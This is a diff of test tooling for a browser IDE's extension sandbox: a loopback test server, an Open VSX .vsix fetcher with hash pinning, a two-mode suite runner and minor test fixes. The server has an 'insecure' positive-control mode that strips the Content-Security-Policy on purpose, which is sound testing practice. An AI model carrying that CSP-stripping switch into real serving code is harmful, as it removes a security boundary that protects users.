74+ const reader = r.body.getReader();
75+ const chunks = []; let n = 0;
76+ while (n < MAX_PROXY_BYTES) { const { done, value } = await reader.read(); if (done) break; chunks.push(value); n += value.length; }
77+ reader.cancel().catch(() => {});
78+ const body = Buffer.concat(chunks).subarray(0, MAX_PROXY_BYTES);
79+ res.writeHead(200, { 'Content-Type': r.headers.get('content-type') || 'text/html', 'Access-Control-Allow-Origin': '*', 'Cache-Control': 'no-store' });
80+ res.end(body);
81+ } catch (e) { res.writeHead(502); res.end('proxy: ' + (e?.message || e)); }
82+ }
83+
84+ async function forwardLm(req, res) {
85+ const body = await new Promise(r => { const c = []; req.on('data', d => c.push(d)); req.on('end', () => r(Buffer.concat(c))); });
86+ try {
87+ const r = await fetch(LM_UPSTREAM + req.url, { method: req.method, body: body.length ? body : undefined, headers: { 'Content-Type': req.headers['content-type'] || 'application/json' } });
88+ res.writeHead(r.status, { 'Content-Type': r.headers.get('content-type') || 'application/json', 'Cache-Control': 'no-store' });
89+ for await (const chunk of r.body) res.write(chunk);
90+ res.end();
91+ } catch (e) { res.writeHead(502); res.end('lm: ' + (e?.message || e)); }
92+ }
93+
94+ function code(req, res, u) {
95+ if (u.pathname.startsWith('/x2/')) return notFound(res); // Code's host never serves the sandbox
96+ if (u.pathname === '/proxy') return proxy(req, res, u);
97+ if (u.pathname.startsWith('/v1/')) return forwardLm(req, res);
98+ if (req.method !== 'GET' && req.method !== 'HEAD') { res.writeHead(404); return res.end(); }
99+ const file = safeJoin(webRoot, u.pathname);
100+ if (!file) return notFound(res);
101+ if (u.pathname.startsWith('/vendor/x2/')) {
102+ return sendFile(res, file, { 'Content-Type': 'application/octet-stream', 'Cache-Control': 'public, max-age=31536000, immutable', 'X-Content-Type-Options': 'nosniff' });
103+ }
104+ return sendFile(res, file, { 'Cache-Control': 'no-store' });
105+ }
106+
107+ function sandbox(req, res, u) {
108+ const spec = loadSpec();
109+ const name = Object.keys(spec.documents).find(n => spec.documents[n].path === u.pathname);
110+ if (!name || req.method !== 'GET' || !queryAllowed(name, u.search, origins)) return notFound(res);
111+ const body = fs.readFileSync(path.join(DOCS_DIR, name));
112+ const open = insecure === 'all' || (insecure === 'exthost' && name === 'exthost-iframe.html');
113+ const h = headersFor(name, origins, { insecure: open });
114+ // the positive control drops the meta CSP as well as the header
115+ const out = open ? Buffer.from(body.toString('utf8').replace(/<meta http-equiv="Content-Security-Policy" content="[^"]*"\/?>/, '')) : body;
116+ res.writeHead(200, { ...h, 'Content-Length': out.length });
117+ res.end(out);
118+ }
119+
120+ const server = http.createServer((req, res) => {
121+ const host = String(req.headers.host || '');
122+ requests.push({ host, method: req.method, url: req.url });
123+ let u;
124+ try { u = new URL(req.url, 'http://' + host); } catch { res.writeHead(400); return res.end(); }
125+ if (host === codeHost || codeAliases.some(a => host === `${a}:${server.address().port}`)) return code(req, res, u);
126+ if (host === sandboxHost) return sandbox(req, res, u);
127+ res.writeHead(421, { 'Content-Type': 'text/plain' }); res.end('unknown host');
128+ });
129+ await new Promise((resolve, reject) => { server.once('error', reject); server.listen(port, '127.0.0.1', resolve); });
130+ const actual = server.address().port;
131+ // localhost may resolve to ::1 first; serve it there too when the stack allows
132+ const server6 = http.createServer(server.listeners('request')[0]);
133+ await new Promise(resolve => { server6.once('error', () => resolve()); server6.listen(actual, '::1', resolve); });
134+ codeHost = '127.0.0.1:' + actual;
135+ sandboxHost = 'localhost:' + actual;
136+ origins = originsFor('dev', { port: actual });
137+ if (!quiet) console.log(`Code http://${codeHost}/\nsandbox http://${sandboxHost}/x2/v1/sandbox.html`);
138+ return {
139+ port: actual,
140+ codeOrigin: 'http://' + codeHost,
141+ sandboxOrigin: 'http://' + sandboxHost,
142+ requests,
143+ close: () => Promise.all([new Promise(r => server.close(r)), new Promise(r => (server6.listening ? server6.close(r) : r()))]),
144+ };
145+}
146+
147+if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
148+ const i = process.argv.indexOf('--port');
149+ await startServer({ port: i > 0 ? Number(process.argv[i + 1]) : 0, quiet: false });
150+}
added tests/lib/x2-vsix.mjs +121 −0
@@ -0,0 +1,121 @@
1+// .vsix reales de Open VSX para las pruebas en vivo y el censo del nivel 2.
2+//
3+// fetchVsix() baja un .vsix (o lo toma de tests/.cache/vsix/) y comprueba su
4+// SHA-256 contra la que publica Open VSX, fallando cerrado: sin suma
5+// publicada, o si no coincide, no hay extensión. Si la prueba fija además su
6+// propia suma, también tiene que coincidir.
7+// readCode() lo abre con el lector de zip del nivel 1 (web/js/ext/unzip.js) y
8+// devuelve el manifiesto (con %nls% resuelto) y todos sus ficheros bajo
9+// extension/, menos node_modules/** y **/*.map, con topes de tamaño.
10+// seedReal() lo guarda en la página como si se hubiera instalado.
11+import fs from 'node:fs';
12+import path from 'node:path';
13+import crypto from 'node:crypto';
14+import { fileURLToPath } from 'node:url';
15+import { openZip } from '../../web/js/ext/unzip.js';
16+import { parseJsonc } from '../../web/js/ext/formats.js';
17+import { resolveNls } from '../../web/js/ext/vsix.js';
18+
19+const HERE = path.dirname(fileURLToPath(import.meta.url));
20+export const CACHE = path.join(HERE, '..', '.cache', 'vsix');
21+// Las dos extensiones reales de las pruebas, con versión y SHA-256 fijadas
22+export const PINNED = [
23+ { namespace: 'Tyriar', name: 'sort-lines', version: '1.12.0', sha256: 'feecf004b40c9a9e73ba81347d61b69bb231f24df72d01b6b9a17435542deec9' },
24+ { namespace: 'esbenp', name: 'prettier-vscode', version: '12.4.0', sha256: 'fb730ea4306d09cdc0a3aaa9e9baae28058cc97a4fbfce8b056b377a0639a9fe' },
25+];
26+const API = 'https://open-vsx.org';
27+const MAX_ENTRY = 32 << 20, MAX_TOTAL = 64 << 20;
28+const sha256 = b => crypto.createHash('sha256').update(b).digest('hex');
29+
30+async function getJson(url) {
31+ const r = await fetch(url, { headers: { 'User-Agent': 'elffuss-code-tests' } });
32+ if (!r.ok) throw Object.assign(new Error(`${url}: HTTP ${r.status}`), { status: r.status });
33+ return r.json();
34+}
35+
36+// targetPlatform: 'web' para la compilación que un paquete publica para el
37+// navegador (las extensiones por plataforma pueden traer una)
38+export async function metadata(namespace, name, version = '', targetPlatform = '') {
39+ return getJson(`${API}/api/${encodeURIComponent(namespace)}/${encodeURIComponent(name)}${targetPlatform ? '/' + encodeURIComponent(targetPlatform) : ''}${version ? '/' + encodeURIComponent(version) : ''}`);
40+}
41+
42+export async function fetchVsix({ namespace, name, version, targetPlatform = '', sha256: pinned, offline = false }) {
43+ fs.mkdirSync(CACHE, { recursive: true });
44+ const file = path.join(CACHE, `${namespace}.${name}-${version}${targetPlatform ? '@' + targetPlatform : ''}.vsix`);
45+ if (fs.existsSync(file)) {
46+ const bytes = fs.readFileSync(file);
47+ const sum = sha256(bytes);
48+ if (!pinned || sum === pinned) return { bytes, sha256: sum, cached: true };
49+ fs.rmSync(file);
50+ }
51+ if (offline) throw Object.assign(new Error('offline and not cached'), { code: 'offline' });
52+ const meta = await metadata(namespace, name, version, targetPlatform);
53+ if (meta.error) throw new Error(String(meta.error));
54+ if (!meta.files?.download || !meta.files?.sha256) throw Object.assign(new Error('Open VSX publishes no SHA-256 for this version'), { code: 'nosha' });
55+ const published = (await (await fetch(meta.files.sha256)).text()).trim().split(/\s+/)[0].toLowerCase();
56+ if (!/^[0-9a-f]{64}$/.test(published)) throw Object.assign(new Error('the published SHA-256 is not a hash'), { code: 'nosha' });
57+ const r = await fetch(meta.files.download);
58+ if (!r.ok) throw new Error('download: HTTP ' + r.status);
59+ const bytes = Buffer.from(await r.arrayBuffer());
60+ const sum = sha256(bytes);
61+ if (sum !== published) throw Object.assign(new Error('SHA-256 does not match the published one'), { code: 'sha' });
62+ if (pinned && sum !== pinned) throw Object.assign(new Error('SHA-256 does not match the pinned one'), { code: 'sha' });
63+ fs.writeFileSync(file, bytes);
64+ return { bytes, sha256: sum, cached: false, license: meta.license };
65+}
66+
67+export async function readCode(bytes, { lang = 'en' } = {}) {
68+ const zip = openZip(bytes, { maxEntry: MAX_ENTRY, maxTotal: MAX_TOTAL });
69+ const dec = new TextDecoder();
70+ if (!zip.has('extension/package.json')) throw Object.assign(new Error('not a VS Code extension'), { code: 'notvsix' });
71+ let manifest = parseJsonc(dec.decode(await zip.read('extension/package.json')));
72+ let nls = {};
73+ for (const f of ['extension/package.nls.json', `extension/package.nls.${lang}.json`]) {
74+ if (zip.has(f)) { try { nls = { ...nls, ...parseJsonc(dec.decode(await zip.read(f))) }; } catch { /* sin traducción */ } }
75+ }
76+ manifest = resolveNls(manifest, nls);
77+ const files = {};
78+ let total = 0;
79+ for (const name of zip.names) {
80+ if (!name.startsWith('extension/')) continue;
81+ const rel = name.slice('extension/'.length);
82+ if (!rel || /(^|\/)node_modules\//.test(rel) || /\.map$/i.test(rel)) continue;
83+ const data = await zip.read(name);
84+ total += data.length;
85+ files[rel] = data;
86+ }
87+ return { manifest, files, bytes: total };
88+}
89+
90+// Guarda una extensión real en la página (IndexedDB de Code), con `runs`.
91+// `languages` (de readVsix del nivel 1) hace que Code reconozca sus ficheros.
92+export async function seedReal(page, { manifest, files, bytes }, { runs = true, languages = [] } = {}) {
93+ const id = `${manifest.publisher}.${manifest.name}`.toLowerCase();
94+ const rec = {
95+ id, publisher: manifest.publisher, name: manifest.name, version: String(manifest.version),
96+ displayName: typeof manifest.displayName === 'string' ? manifest.displayName : manifest.name, description: '', license: String(manifest.license || ''),
97+ sha256: '0'.repeat(64), verified: true, source: 'test', size: bytes, installedAt: Date.now(), enabled: true, runs,
98+ hasCode: true, ignored: [], pack: [], warnings: [], themes: [], grammars: [], snippets: [], licenseKey: null,
99+ languages: languages.map(l => ({ id: l.id, aliases: l.aliases, extensions: l.extensions, filenames: l.filenames, filenamePatterns: l.filenamePatterns, firstLine: l.firstLine, mimetypes: l.mimetypes, configKey: null })),
100+ code: { entry: manifest.browser, files: Object.keys(files), bytes, manifest },
101+ };
102+ // en trozos: page.evaluate no quiere mensajes enormes
103+ const entries = Object.entries(files).map(([p, b]) => [p, Buffer.from(b).toString('base64')]);
104+ await page.evaluate(async rec => { const store = await import('/js/ext/store.js'); await store.put(rec, new Map()); }, rec);
105+ for (let i = 0; i < entries.length; i += 50) {
106+ await page.evaluate(async ({ id, version, chunk }) => {
107+ const store = await import('/js/ext/store.js');
108+ const db = await new Promise((res, rej) => { const r = indexedDB.open('elffuss-code-ext', 1); r.onsuccess = () => res(r.result); r.onerror = () => rej(r.error); });
109+ const tx = db.transaction('files', 'readwrite');
110+ for (const [p, b64] of chunk) {
111+ const bin = atob(b64);
112+ const u8 = new Uint8Array(bin.length);
113+ for (let k = 0; k < bin.length; k++) u8[k] = bin.charCodeAt(k);
114+ tx.objectStore('files').put(u8.buffer, store.codeKey(id, version, p));
115+ }
116+ await new Promise((res, rej) => { tx.oncomplete = res; tx.onerror = () => rej(tx.error); });
117+ db.close();
118+ }, { id, version: rec.version, chunk: entries.slice(i, i + 50) });
119+ }
120+ return id;
121+}
modified tests/links.mjs +6 −1
@@ -75,7 +75,12 @@
7575 fichas: [...document.querySelectorAll('.model-cards-links a')].map(a => ({ t: a.textContent, href: a.href, nombre: a.getAttribute('aria-label') })),
7676 docs: [...document.querySelectorAll('#settings-panel .prov-docs')].map(a => ({ href: a.href, nombre: a.getAttribute('aria-label') })),
7777 }));
78-ok('3 · Ajustes enlaza la ficha del modelo ligero en Hugging Face', enlaces.fichas.some(f => f.href === 'https://huggingface.co/onnx-community/Qwen3.5-0.8B-ONNX' && /Qwen3\.5-0\.8B/.test(f.nombre)), JSON.stringify(enlaces.fichas));
78+// El modelo ligero (ONNX) solo se ofrece con WebGPU: sin ella ningún dtype
79+// funciona en wasm, y ofrecerlo era bajar ~600 MB para acabar en básico. Así
80+// que su ficha se enlaza con GPU y NO se enlaza sin ella.
81+const hayGPU = await p.evaluate(async () => !!(await navigator.gpu?.requestAdapter?.().catch(() => null)));
82+const fichaLigero = enlaces.fichas.some(f => f.href === 'https://huggingface.co/onnx-community/Qwen3.5-0.8B-ONNX' && /Qwen3\.5-0\.8B/.test(f.nombre));
83+ok(hayGPU ? '3 · Ajustes enlaza la ficha del modelo ligero en Hugging Face' : '3 · sin WebGPU no se ofrece el modelo ligero, ni se enlaza su ficha', hayGPU ? fichaLigero : !fichaLigero, JSON.stringify(enlaces.fichas));
7984 ok('3 · …y la documentación de la API de cada proveedor externo', enlaces.docs.some(d => /platform\.openai\.com/.test(d.href) && /OpenAI/.test(d.nombre)) && enlaces.docs.some(d => /docs\.anthropic\.com/.test(d.href)) && enlaces.docs.some(d => /ollama/.test(d.href)), JSON.stringify(enlaces.docs));
8085
8186 // 4 · huella SHA-256 de las descargas del bridge
modified tests/mindpersist.mjs +5 −2
@@ -24,8 +24,11 @@
2424
2525 // RECARGA REAL de la página (no solo cerrar/abrir la Mente en la misma sesión)
2626 await p.goto(BASE + '/?test-opfs', { waitUntil: 'domcontentloaded' }); await p.waitForTimeout(1500);
27-await p.locator('#activity img').click(); await p.waitForTimeout(1200);
28-const after = await p.evaluate(() => document.getElementById('mind-log-body')?.innerText || '');
27+await p.locator('#activity img').click();
28+// espera a que la Mente pinte su historial (con un tope), no un tiempo fijo:
29+// con extensiones de código arrancando a la vez la página tarda más en pintarlo
30+let after = '';
31+for (let i = 0; i < 50 && !/debe sobrevivir/.test(after); i++) { await p.waitForTimeout(200); after = await p.evaluate(() => document.getElementById('mind-log-body')?.innerText || ''); }
2932 ok('el historial SOBREVIVE a una recarga real de la página', /debe sobrevivir/.test(after), after.slice(0, 80));
3033 ok('también se conserva el ciclo/evento del CEO', /Ciclo de prueba/.test(after));
3134
modified tests/palette_text.mjs +1 −1
@@ -66,7 +66,7 @@
6666 const rows = [...m.querySelectorAll('.menu-item')];
6767 return rows.length ? rows.map(r => [r.querySelector('b')?.textContent, r.querySelector('span')?.textContent ?? null]) : null;
6868 }));
69-ok('menu bar rows keep their label and hint', !!view && view.some(([l, h]) => l === 'Command Palette' && h === 'Cmd+Shift+P'), JSON.stringify(view?.slice(0, 4)));
69+ok('menu bar rows keep their label and hint', !!view && view.some(([l, h]) => /^Command palette$/i.test(l || '') && /^(⌘⇧P|Ctrl\+Shift\+P|Cmd\+Shift\+P)$/.test(h || '')), JSON.stringify(view?.slice(0, 6)));
7070
7171 await sleep(300);
7272 ok('no handler from a file name ever ran', await page.evaluate(() => window.__xss === undefined));
added tests/run-modes.sh +123 −0
@@ -0,0 +1,123 @@
1+#!/usr/bin/env bash
2+# Runs Code's suites in both modes, and level 2's own suites once.
3+#
4+# tests/run-modes.sh every suite in tests/suites.txt
5+# tests/run-modes.sh --only codeedit,e2e just these (from any section)
6+# tests/run-modes.sh --mode default only one mode (default | ext | both)
7+# tests/run-modes.sh --no-once leave out level 2's own suites
8+#
9+# One loopback server (tests/lib/x2-server.mjs: Code on 127.0.0.1, the sandbox
10+# on localhost, both on one random port) serves every suite. A suite in [both]
11+# runs as "node S.mjs" (default mode) and as "node --import ./lib/x2-mode.mjs
12+# S.mjs" (extension mode: two code extensions installed and running in the
13+# sandbox while the suite works, and three more checks at the end). A suite
14+# passes when it exits 0, prints at least one ✅ (or ✓) and no ❌ (or ✗). The script fails if
15+# any suite fails in either mode. Logs go to a temporary folder; no timings.
16+set -uo pipefail
17+set -m # each suite in its own process group
18+cd "$(dirname "$0")"
19+
20+MODE=both ONLY="" ONCE=1 TIMEOUT="${SUITE_TIMEOUT:-900}"
21+while [ $# -gt 0 ]; do
22+ case "$1" in
23+ --mode) MODE="$2"; shift 2 ;;
24+ --only) ONLY=",$2,"; shift 2 ;;
25+ --no-once) ONCE=0; shift ;;
26+ *) echo "unknown option: $1"; exit 2 ;;
27+ esac
28+done
29+case "$MODE" in default|ext|both) ;; *) echo "--mode is default, ext or both"; exit 2 ;; esac
30+
31+# suites.txt: the names in one section
32+section() { awk -v s="[$1]" '/^\[/{on=($0==s); next} on && NF && $1 !~ /^#/ {print $1}' suites.txt; }
33+pick() { if [ -z "$ONLY" ]; then cat; else while read -r n; do case "$ONLY" in *",$n,"*) echo "$n" ;; esac; done; fi; }
34+
35+BOTH=$(section both | pick)
36+ONCE_LIST=""; [ "$ONCE" = 1 ] && ONCE_LIST=$(section once | pick)
37+if [ -n "$ONLY" ]; then
38+ for n in $(echo "$ONLY" | tr ',' ' '); do
39+ if ! { echo "$BOTH"; echo "$ONCE_LIST"; } | grep -qx "$n"; then
40+ if section not-run | grep -qx "$n:\?"; then echo "$n is in [not-run]"; else echo "$n is not in tests/suites.txt"; fi
41+ exit 2
42+ fi
43+ done
44+fi
45+for n in $BOTH $ONCE_LIST; do [ -f "$n.mjs" ] || { echo "missing suite: $n.mjs"; exit 2; }; done
46+
47+TMPROOT="${TMPDIR:-/tmp}"
48+LOGS=$(mktemp -d "${TMPROOT%/}/elffuss-run-modes.XXXXXX")
49+export SCRATCH="$LOGS/scratch"
50+mkdir -p "$SCRATCH"
51+
52+node lib/x2-server.mjs > "$LOGS/server.log" 2>&1 &
53+SERVER=$!
54+cleanup() { kill -TERM -- -"$SERVER" 2>/dev/null; wait "$SERVER" 2>/dev/null; }
55+trap cleanup EXIT
56+trap 'exit 130' INT TERM
57+BASE=""
58+for _ in $(seq 1 100); do
59+ BASE=$(sed -n 's#^Code *\(http://127\.0\.0\.1:[0-9]*\)/$#\1#p' "$LOGS/server.log" | head -1)
60+ [ -n "$BASE" ] && break
61+ sleep 0.1
62+done
63+[ -n "$BASE" ] || { echo "the test server did not start:"; cat "$LOGS/server.log"; exit 1; }
64+export BASE
65+echo "BASE=$BASE logs: $LOGS"
66+
67+# run one suite in one mode, with a watchdog on its process group
68+run() { # name mode → sets RC, OKS, BAD, SKIP
69+ local name=$1 mode=$2 log="$LOGS/$1.$2.log"
70+ if [ "$mode" = ext ]; then node --import ./lib/x2-mode.mjs "$name.mjs" > "$log" 2>&1 &
71+ else node "$name.mjs" > "$log" 2>&1 &
72+ fi
73+ local pid=$!
74+ ( sleep "$TIMEOUT"; echo "❌ run-modes: stopped after the suite's time limit" >> "$log"; kill -TERM -- -"$pid" 2>/dev/null; sleep 5; kill -KILL -- -"$pid" 2>/dev/null ) &
75+ local dog=$!
76+ wait "$pid"; RC=$?
77+ kill -TERM -- -"$dog" 2>/dev/null; wait "$dog" 2>/dev/null
78+ # ✅/❌ per check; the two batteries mark their cases with ✓/✗ at the start of a line
79+ OKS=$(( $(grep -c '✅' "$log") + $(grep -c '^ *✓ ' "$log") ))
80+ BAD=$(( $(grep -c '❌' "$log") + $(grep -c '^ *✗ ' "$log") ))
81+ SKIP=$(grep -c 'NOT RUN' "$log")
82+}
83+verdict() { # → PASS | FAIL | NOT RUN, and "no IDE" when extension mode was not exercised
84+ if [ "$RC" -eq 0 ] && [ "$BAD" -eq 0 ] && [ "$OKS" -gt 0 ]; then
85+ if [ "${2:-}" = ext ] && grep -q 'x2-mode: not exercised' "$LOGS/$1.ext.log"; then echo "PASS, no IDE"; else echo PASS; fi
86+ elif [ "$RC" -eq 0 ] && [ "$BAD" -eq 0 ] && [ "$SKIP" -gt 0 ]; then echo "NOT RUN"
87+ else echo FAIL; fi
88+}
89+
90+fails=0 suites=0 noide=""
91+printf '\n%-24s %-22s %-30s\n' suite default extension
92+for n in $BOTH; do
93+ suites=$((suites + 1))
94+ cols=""
95+ for m in default ext; do
96+ if [ "$MODE" != both ] && [ "$MODE" != "$m" ]; then cols="$cols$(printf '%-22s ' '-')"; continue; fi
97+ run "$n" "$m"
98+ v=$(verdict "$n" "$m")
99+ [ "$v" = FAIL ] && fails=$((fails + 1))
100+ [ "$v" = "PASS, no IDE" ] && noide="$noide $n"
101+ cols="$cols$(printf '%-22s ' "$v $OKS ok $BAD bad")"
102+ done
103+ printf '%-24s %s\n' "$n" "$cols"
104+ for m in default ext; do
105+ f="$LOGS/$n.$m.log"
106+ [ -f "$f" ] || continue
107+ if [ "$(grep -c '❌\|^ *✗ ' "$f")" -gt 0 ] || ! grep -q '✅\|^ *✓ ' "$f"; then grep '❌\|^ *✗ \|Error\|NOT RUN' "$f" | head -4 | sed "s/^/ [$m] /"; fi
108+ done
109+done
110+for n in $ONCE_LIST; do
111+ suites=$((suites + 1))
112+ run "$n" once
113+ v=$(verdict)
114+ [ "$v" = FAIL ] && fails=$((fails + 1))
115+ printf '%-24s %-22s\n' "$n" "$v $OKS ok $BAD bad (once)"
116+ [ "$v" = FAIL ] && grep '❌\|Error' "$LOGS/$n.once.log" | head -4 | sed 's/^/ /'
117+done
118+
119+echo
120+# (sin IDE el recinto no corrió: pasan, pero el modo extensiones no las probó)
121+if [ -n "$noide" ]; then echo "ℹ️ extension mode not exercised (no page opened the IDE, the sandbox never ran):$noide"; fi
122+if [ "$fails" -eq 0 ]; then echo "✅ run-modes: $suites suites, no failures"; else echo "❌ run-modes: $fails failing runs in $suites suites (logs: $LOGS)"; fi
123+[ "$fails" -eq 0 ]
added tests/stop_ide.mjs +50 −0
@@ -0,0 +1,50 @@
1+// stop.mjs con el IDE abierto: el botón de parar del agente para de verdad
2+// también con un proyecto abierto en el editor (y, en el modo extensiones de
3+// run-modes.sh, con el recinto de extensiones corriendo al lado, que stop.mjs
4+// nunca llega a arrancar porque se queda en la portada).
5+//
6+// BASE=http://127.0.0.1:<port> node tests/stop_ide.mjs
7+import { chromium } from 'playwright';
8+const BASE = process.env.BASE || 'http://localhost:8799';
9+const b = await chromium.launch();
10+const ctx = await b.newContext();
11+// Modo Básico: sin esto, main.js se pone a cargar el modelo local por defecto
12+await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); } catch {} });
13+const p = await ctx.newPage();
14+await p.goto(BASE + '/', { waitUntil: 'domcontentloaded' });
15+await p.evaluate(async () => {
16+ const o = await navigator.storage.getDirectory();
17+ const f = await o.getFileHandle('app.js', { create: true });
18+ const s = await f.createWritable(); await s.write('function a() { return 1; }\n'); await s.close();
19+});
20+await p.goto(BASE + '/?test-opfs', { waitUntil: 'domcontentloaded' });
21+await p.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 60000 });
22+await p.evaluate(async () => { await (await import('/js/ide.js')).openFile('app.js'); });
23+const ide = await p.evaluate(() => !!document.querySelector('#editor .monaco-editor') && window.monaco.editor.getEditors()[0].getModel().getValue().includes('function a'));
24+const r = await p.evaluate(async () => {
25+ const { Agent } = await import('/js/agent.js?v=' + Date.now());
26+ const eventos = [];
27+ let llamadas = 0;
28+ // proveedor que SIEMPRE pide una tool y respeta la señal (espera y comprueba)
29+ const lento = { chat: async (h, s, cb, signal) => {
30+ llamadas++;
31+ for (let i = 0; i < 20; i++) { if (signal?.aborted) break; await new Promise(r => setTimeout(r, 50)); }
32+ return '```tool\n{"tool":"code.tree","args":{}}\n```';
33+ }};
34+ const ag = new Agent(lento);
35+ const run = ag.handle('haz algo largo', ev => eventos.push(ev.type));
36+ await new Promise(r => setTimeout(r, 300)); // deja arrancar
37+ const llamadasAntes = llamadas;
38+ ag.stop(); // ← PARAR a mitad
39+ await run; // debe terminar pronto, no agotar MAX_STEPS
40+ return { eventos: [...new Set(eventos)], llamadasAntes, llamadasTotal: llamadas, abortado: eventos.includes('aborted') };
41+});
42+console.log('parada del agente con el IDE abierto:');
43+console.log(' eventos:', r.eventos.join(', '));
44+console.log(' llamadas al modelo antes de parar:', r.llamadasAntes, '· total tras parar:', r.llamadasTotal);
45+const ok = ide && r.abortado && r.llamadasTotal <= r.llamadasAntes + 1;
46+console.log(ide ? '✅ el IDE está abierto con el proyecto' : '❌ el IDE no se abrió');
47+console.log(ok ? '✅ para de verdad: emite «aborted» y no sigue el bucle'
48+ : '❌ no paró bien');
49+await b.close();
50+process.exit(ok ? 0 : 1);
added tests/suites.txt +144 −0
@@ -0,0 +1,144 @@
1+# Which suites tests/run-modes.sh runs, and why the others are not run.
2+#
3+# One suite per line, without ".mjs". Sections:
4+#
5+# [both] Code's own suites. Each runs twice against the same server:
6+# default mode (node S.mjs) and extension mode (node --import
7+# ./lib/x2-mode.mjs S.mjs), where two code extensions are installed
8+# and running in the sandbox while the suite works.
9+# [once] Level 2's own suites. They start their own server and set up
10+# their extensions themselves, so they run once. x2_live and
11+# x2_lifecycle need Open VSX (x2_live only the first time, then
12+# tests/.cache): offline they say NOT RUN.
13+# [not-run] "name: reason". They need a live model, a GPU, a local Bridge,
14+# the internet or production. They are left out of both modes.
15+
16+[both]
17+a11y-names
18+api-signal
19+arch
20+attach-chips
21+autoedit_settings
22+bigfile_edit
23+bridge-pause
24+bridge-sums
25+bridge-version
26+broker-origenes
27+bugs
28+ceo-cycle
29+ceo_persist
30+chat-opts
31+chatlinks
32+city
33+codeedit
34+codeedit_agent
35+contrast
36+convclose
37+conversations
38+ctxmenu
39+e2e
40+edit-bateria
41+editor-save
42+english-ui
43+enterqueue
44+execbutton
45+ext_unit
46+extensions
47+filelinks
48+filelinks2
49+funciontags
50+glob_rm
51+goalfail
52+goalmode
53+goalstop
54+hardwork-queue
55+htmlpreview
56+htmlpreview_css
57+keyboard-ux
58+lab-ux
59+labstop
60+landing
61+links
62+litert-contexto
63+litert-stop
64+litertcache
65+longsession
66+md
67+messages-ux
68+mind
69+mind-consent
70+mind_stars
71+mindpersist
72+mobile-drawer
73+modelcache
74+modelcache_honest
75+multiwrite
76+notif-run
77+notify
78+onnx-autoload
79+onnx-stop
80+palette_text
81+playstop
82+previewstorage
83+prompt_prefers_edit
84+prompthist
85+readpaging
86+reanuda
87+retry-test
88+run-bateria
89+sendfeedback
90+settings-ux
91+speedchip
92+stop
93+stop_ide
94+stopqueue
95+storage-honest
96+streampreview
97+sw-notif
98+swe_bench
99+swe_style
100+sync-core
101+tabmenu
102+telemetry
103+terminal
104+texto-plano
105+toolparse
106+toolparse_malformed
107+toolparse_missingbrace
108+view-list
109+web-honest
110+
111+[once]
112+x2_unit
113+x2_headers
114+x2_deploy
115+x2_smoke
116+x2_bytes
117+x2_canary
118+x2_manager
119+x2_commands
120+x2_format
121+x2_ux
122+x2_live
123+x2_lifecycle
124+
125+[not-run]
126+_audio_probe: a probe of the music widget against production, not a test
127+alltools: web.search and web.fetch read real pages through the proxy (internet)
128+appbuild_gif: builds an app with the real model on WebGPU and needs ffmpeg
129+bridge: the real Bridge binary only accepts fixed origins (port 8799) on its fixed port 8765
130+bridge_autodetect: needs a Bridge already running and its BRIDGE_TOKEN
131+chrome-args: a helper module (Chromium flags from ELFFUSS_CHROME_ARGS), not a suite
132+clone: clones a public repository from GitHub (internet)
133+demo_code_final: records the demo video with the real model on WebGPU
134+diag_sw: a diagnostic of the model cache with a real model, against production
135+e4b_live: the real model (Gemma-4 E4B, about 3 GB) on WebGPU
136+ext_fixtures: a helper module (the fixture packages of the extension suites), not a suite
137+litert-stop-real: stopping the real model (Gemma-4 E4B through LiteRT-LM) on WebGPU, with the installed Chrome and a persistent profile
138+make_og: renders the social card from images in other repositories
139+mind_video: records a video, not a test
140+shot_utopiaia: a screenshot of a production site
141+test_proxy: Python, not Node: python3 tests/test_proxy.py (the hardened /proxy of server/serve.py, offline)
142+warmup_code: warms up the real model in a persistent profile
143+x2_census: manual: downloads and runs the top-500's browser extensions from Open VSX
144+catalog_census: manual: reads every extension's package.json in Open VSX (about 20,000 requests); its last run is in tests/catalog-census/
modified tests/toolparse_malformed.mjs +1 −1
@@ -4,7 +4,7 @@
44 // code.write de una web se PIERDE entero. (Un truncado real a media cadena SÍ
55 // debe rechazarse: lo cubre toolparse_missingbrace.mjs.)
66 import { chromium } from 'playwright';
7-const BASE='http://localhost:8790';
7+const BASE=process.env.BASE||'http://localhost:8790';
88 let fails=0; const ok=(n,c,e='')=>{console.log((c?'✅':'❌')+' '+n+(e?' — '+e:''));if(!c)fails++;};
99 const b=await chromium.launch();const ctx=await b.newContext();
1010 await ctx.addInitScript(()=>{try{localStorage.setItem('elffusscode.model','rules');}catch{}});
added tests/x2-surface.json +1346 −0
@@ -0,0 +1,1346 @@
1+{
2+ "actors": {
3+ "MainThreadAgentEditorComments": [
4+ "$addComment",
5+ "$createAgentEditorComments",
6+ "$deleteComment",
7+ "$disposeAgentEditorComments"
8+ ],
9+ "MainThreadAiEmbeddingVector": [
10+ "$registerAiEmbeddingVectorProvider",
11+ "$unregisterAiEmbeddingVectorProvider"
12+ ],
13+ "MainThreadAiRelatedInformation": [
14+ "$getAiRelatedInformation",
15+ "$registerAiRelatedInformationProvider",
16+ "$unregisterAiRelatedInformationProvider"
17+ ],
18+ "MainThreadAiSettingsSearch": [
19+ "$handleSearchResult",
20+ "$registerAiSettingsSearchProvider",
21+ "$unregisterAiSettingsSearchProvider"
22+ ],
23+ "MainThreadAuthentication": [
24+ "$ensureProvider",
25+ "$getAccounts",
26+ "$getSession",
27+ "$promptForClientRegistration",
28+ "$promptForResourceClientSecret",
29+ "$registerAuthenticationProvider",
30+ "$registerDynamicAuthenticationProvider",
31+ "$removeSession",
32+ "$sendDidChangeDynamicProviderInfo",
33+ "$sendDidChangeSessions",
34+ "$setSessionsForDynamicAuthProvider",
35+ "$showContinueNotification",
36+ "$showDeviceCodeModal",
37+ "$unregisterAuthenticationProvider",
38+ "$waitForUriHandler"
39+ ],
40+ "MainThreadBrowserTunnelProxy": [
41+ "$updateProxyInfo"
42+ ],
43+ "MainThreadBrowsers": [
44+ "$closeBrowserTab",
45+ "$closeCDPSession",
46+ "$openBrowserTab",
47+ "$sendCDPMessage",
48+ "$startCDPSession"
49+ ],
50+ "MainThreadBulkEdits": [
51+ "$tryApplyWorkspaceEdit"
52+ ],
53+ "MainThreadChatAgents2": [
54+ "$handleAnchorResolve",
55+ "$handleProgressChunk",
56+ "$onDidChangeCustomizations",
57+ "$onDidChangePromptFiles",
